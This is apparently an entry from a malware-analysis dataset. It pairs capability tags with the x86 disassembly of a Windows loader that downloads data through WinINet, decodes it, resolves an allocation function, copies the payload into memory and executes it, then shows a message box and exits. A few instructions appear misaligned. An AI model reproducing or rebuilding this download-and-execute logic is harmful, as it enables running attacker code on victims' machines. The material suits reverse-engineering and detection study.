Function at 0x401fa0
Capabilities:
Create http request
Read data from internet
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, ecx
push ebx
push esi
mov dword [ebp - 8], eax
mov esi, dword [eax]
sub esi, 0x10
push edi
mov ecx, dword [esi]
mov ebx, dword [esi + 4]
mov dword [ebp - 4], ebx
mov eax, dword [ecx]
call dword [eax + 0x10]
mov edi, dword [ebp + 8]
mov ecx, eax
push 1
push edi
mov edx, dword [eax]
call dword [edx]
mov dword [ebp + 8], eax
test eax, eax
je 0x402019
cmp ebx, edi
cmovl edi, ebx
lea ebx, [eax + 0x10]
inc edi
lea eax, [esi + 0x10]
push edi
push eax
push edi
push ebx
call fcn.00524a46
mov ecx, dword [ebp + 8]
add esp, 0x10
mov eax, dword [ebp - 4]
mov dword [ecx + 4], eax
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40200b
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 8]
pop edi
pop esi
mov dword [eax], ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor eax, sym.imp.KERNEL32.dll_GetModuleHandleA
xor ebp, ebp
push edi
push ebp
call esi
push dword [0x59f1d0]
mov dword [esp + 0x1c], eax
call esi
push dword [0x59f188]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
adc al, 0x55
add byte [ebp - 0x77], dl
inc esp
and al, 0x1c
call edi
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
push dword [0x59f188]
push ebp
call edi
push eax
call esi
push ebp
push ebp
push ebp
push 1
push dword [0x59f19c]
mov ebx, eax
mov dword [esp + 0x24], ebp
mov esi, ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
je 0x40216a
push ebp
push dword [0x59f1bc]
push ebp
push ebp
push dword [0x59f1cc]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x40216a
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [esp + 0x10]
push eax
push dword [0x59f188]
push ebx
push edi
call ebp
test eax, eax
je 0x402168
cmp dword [esp + 0x10], 0
jbe 0x4020db
add esi, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push dword [0x59f188]
push esi
push edi
call ebp
test eax, eax
jne 0x4020bd
xor ebp, ebp
cmp esi, ebx
je 0x40216a
mov edx, dword [ebx]
mov ecx, ebp
mov eax, dword [0x59f1c8]
mov eax, dword [eax + ecx]
add eax, edx
mov dword [ecx + esi], eax
add ecx, 4
cmp ecx, 0x20
jl 0x4020e9
push esi
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40216a
push dword [0x59f1c4]
push 0x1000
push dword [0x59f188]
push ebp
call eax
mov ecx, dword [0x59f1b0]
mov edx, eax
add ecx, dword [esp + 0x18]
mov edi, 0x1ffe
lea esi, [edx + 8]
mov ebp, dword [ecx + 4]
sub ecx, edx
mov eax, dword [ecx + esi]
add eax, ebp
mov dword [esi], eax
lea esi, [esi + 4]
sub edi, 1
jne 0x40213a
mov eax, dword [0x59f170]
mov dword [edx + 8], eax
mov eax, dword [0x59f18c]
mov ecx, dword [edx + 0xc]
add ecx, eax
mov eax, dword [0x59f18c]
add ecx, edx
add edx, eax
push edx
call ecx
pop ecx
xor ebp, ebp
push 0x10
push dword [0x59f15c]
push dword [0x59f174]
push ebp
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebp
call dword [sym.imp.KERNEL32.dll_ExitProcess]